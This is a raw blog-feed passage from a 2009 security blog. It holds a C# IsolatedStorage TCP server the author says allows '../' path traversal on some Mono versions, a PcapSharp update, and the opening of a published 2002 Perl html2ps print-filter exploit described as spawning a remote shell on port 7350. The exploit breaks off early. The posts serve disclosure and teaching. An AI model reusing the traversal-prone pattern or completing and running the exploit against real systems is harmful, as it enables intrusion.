0);"&gt;private&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;static&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; Byte[] &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;load&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;string&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; key)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          Byte[] b = &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; Byte[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;256&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;];&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;try&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  Console.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;WriteLine&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"IsolatedStorage load @ {0}"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, key);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  IsolatedStorageFileStream fs = &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;IsolatedStorageFileStream&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(key, FileMode.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Open&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  fs.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Read&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(b, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, b.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Length&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  fs.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Close&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;();   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          } &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;catch&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  Console.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;WriteLine&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Exception!"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;return&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; b;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;public&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;static&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;void&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Main&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;()&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          Byte[] buf = &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; Byte[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;256&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;];&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;int&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; cnt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;string&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; data = &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;""&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          ASCIIEncoding ascii = &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;ASCIIEncoding&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;();&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          TcpListener l = &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;TcpListener&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;8080&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          l.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Start&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;();&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;try&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  Socket s = l.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;AcceptSocket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;();&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;while&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (data.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Trim&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;() != &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"quit"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                          Array.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Clear&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(buf, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, buf.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Length&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                          &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; ((cnt = s.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Receive&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(buf, buf.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Length&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)) == &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                                  &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;break&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                          data = ascii.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;GetString&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(buf, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, cnt);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                          Console.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;WriteLine&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Received: {0}"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, data.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Trim&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;());&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                          &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (data.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;StartsWith&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"store "&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                                  Array.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Clear&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(buf, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, buf.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Length&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                                  &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (s.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Receive&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(buf, buf.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Length&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;) == &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                                          &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;break&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                                  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;store&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(data.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Substring&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;6&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, data.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Length&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; - &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;6&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;).&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Trim&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(), buf);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                          } &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;else&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (data.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;StartsWith&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"load "&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                                  Byte[] result = &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;load&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(data.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Substring&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;5&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, data.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Length&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; - &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;5&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;).&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Trim&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;());&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                                  s.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Send&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(result);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                          }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          } &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;catch&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  Console.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;WriteLine&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Exception!"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          l.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Stop&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;();&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;You can connect to the server on TCP port 8080 and&lt;br /&gt;store/load data via the telnet interface for example.&lt;br /&gt;Beside the easy of code and the fact that it treats&lt;br /&gt;TCP streams like messages which could make trouble in&lt;br /&gt;real networking environments, this code should be correct.&lt;br /&gt;It fits perfectly as a localhost example. There is just&lt;br /&gt;a problem with the &lt;span style="font-style: italic;"&gt;IsolatedStorage&lt;/span&gt; itself!&lt;br /&gt;Some versions of the mono runtime do not remove&lt;br /&gt;"../" character sequences from the path component as it&lt;br /&gt;should. So, depending on your configuration you can&lt;br /&gt;obtain funny results. On a &lt;span&gt;openSUSE 11.1&lt;/span&gt;, the storage&lt;br /&gt;place is in &lt;span style="font-style: italic;"&gt;~/.config/.isolated-storage/&lt;some-hash&gt;[some-hash]/.&lt;br /&gt;&lt;/some-hash&gt;&lt;/span&gt;&lt;span&gt;&lt;some-hash&gt;An attacking scenario is inside the &lt;span style="font-style: italic;"&gt;xterm.&lt;br /&gt;&lt;/span&gt;I already informed the maintainers and a fix is underway.&lt;br /&gt;Its not a big issue, and I dont have any application in mind&lt;br /&gt;that is actually vulnerable and uses &lt;span style="font-style: italic;"&gt;IsolatedStorage&lt;/span&gt; this way.&lt;br /&gt;&lt;br /&gt;File-system/storage tricks will be a major playground for&lt;br /&gt;.NET/C# applications in future. In a non-public review&lt;br /&gt;of a larger C# based "system" it turned out that it was possible to obtain&lt;br /&gt;local root privileges by loading evil assemblies as&lt;br /&gt;a result of tricking the application.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/some-hash&gt;&lt;/span&gt;&lt;span&gt;&lt;some-hash&gt;Additionally, the managed runtime may provide&lt;br /&gt;(depending on the implementation) all the&lt;br /&gt;nasty things that we got rid of in native CPUs during&lt;br /&gt;the last years: executable data, fixed addresses etc.&lt;br /&gt;&lt;br /&gt;&lt;/some-hash&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;some-hash&gt;&lt;br /&gt;&lt;/some-hash&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-8544642305299465204?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/8544642305299465204/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=8544642305299465204' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8544642305299465204'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8544642305299465204'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/03/sharpen-your-net-skills.html' title='sharpen your .NET skills'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_DbsW_SGQJgI/Scj9iBRDVFI/AAAAAAAAAGI/HQEix2KGejI/s72-c/is.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-6212280893757989804</id><published>2009-03-20T11:59:00.000-07:00</published><updated>2009-03-20T12:11:32.251-07:00</updated><title type='text'>PcapSharp updated</title><content type='html'>&lt;span style="font-family:arial;"&gt;&lt;span style="font-family:courier new;"&gt;You can find&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;a new &lt;a style="font-weight: bold;" href="http://www.suse.de/%7Ekrahmer/pcap-11.1.cs"&gt;pcap#&lt;/a&gt; version of my &lt;span style="font-style: italic;"&gt;mono&lt;/span&gt; &lt;span style="font-style: italic;"&gt;pcap&lt;/span&gt; binding&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;on my website. Its better tested than the old version,&lt;br /&gt;and supports packet dumping and offline capturing of packets&lt;br /&gt;now as well as it supported online capturing in the past.&lt;br /&gt;It is possible to read/analyze the &lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;a style="font-weight: bold;" href="http://www.suse.de/%7Ekrahmer/pcap-11.1.cs"&gt;pcap#&lt;/a&gt; dump-files with&lt;br /&gt;&lt;span style="font-style: italic;"&gt;tcpdump&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;wireshark. &lt;/span&gt;I am not an expert for Marshalling&lt;br /&gt;C# types to plain C types, but I think I got it right :-)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-6212280893757989804?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/6212280893757989804/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=6212280893757989804' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6212280893757989804'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6212280893757989804'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/03/pcapsharp-updated.html' title='PcapSharp updated'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-417759266436758190</id><published>2009-03-10T09:47:00.000-07:00</published><updated>2009-03-10T10:14:18.413-07:00</updated><title type='text'>Some news</title><content type='html'>&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;This post satisfies two needs (except publishing code at all):&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;First, I hate how this blog automatically wraps my lines and&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;how it de-formats all things I am doing. I try to submit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;pure HTML code now and hope it works. Second, I decided to&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;publish some old exploits of me for historical, technical&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;and educational purposes. A recent law-case in Germany showed&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;that jail-or-not is all about your intention. It is legal&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;to publish dual-use code or code that could be used to do&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;something evil if your intention is to make the world a more&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;secure place or to teach others how to protect themself etc..&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;It is illegal to publish such code in order to commit a crime&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;which is clearly and obviosuly not what I am doing.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;The code is that old (2002), that there should rarely be any box at all&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;which still ships the vulnerable print-filter that is exploited&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;here. So, except for teaching something this code is useless.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;The interesting thing about this piece is that the printfilter didnt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;accept spaces in the IMG-tag. But read yourself:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;#!/usr/bin/perl -W&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;# html2ps remote "lp" exploit. Opens shell on port 7350.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;# If used for testing remote machines, /etc/printcap must&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;# contain appropriate remote printernames etc. and lpd must&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;# be set up correctly.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;# (C) 2002 Sebastian Krahmer, proof of concept exploit.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;# Brief problem description: lprng calls printfilters as any&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;# other print-spooling systems do. It calls them with UID of lp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;# thats why you get lp-user shell later. The html2ps filter which is&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;# a perl script is called to convert the evil.html to .ps.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;# However there it breaks because html2ps calls open() function insecurely&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;# and some other bad stuff is done too. It tries to convert the IMG embedded&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;# in the html and invokes some commands which give us access. Thats all. :)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;sub &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;usage&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;print&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(192, 0, 0);"&gt;$0&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt; &amp;lt;printhost&amp;gt; &amp;lt;remote-host&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 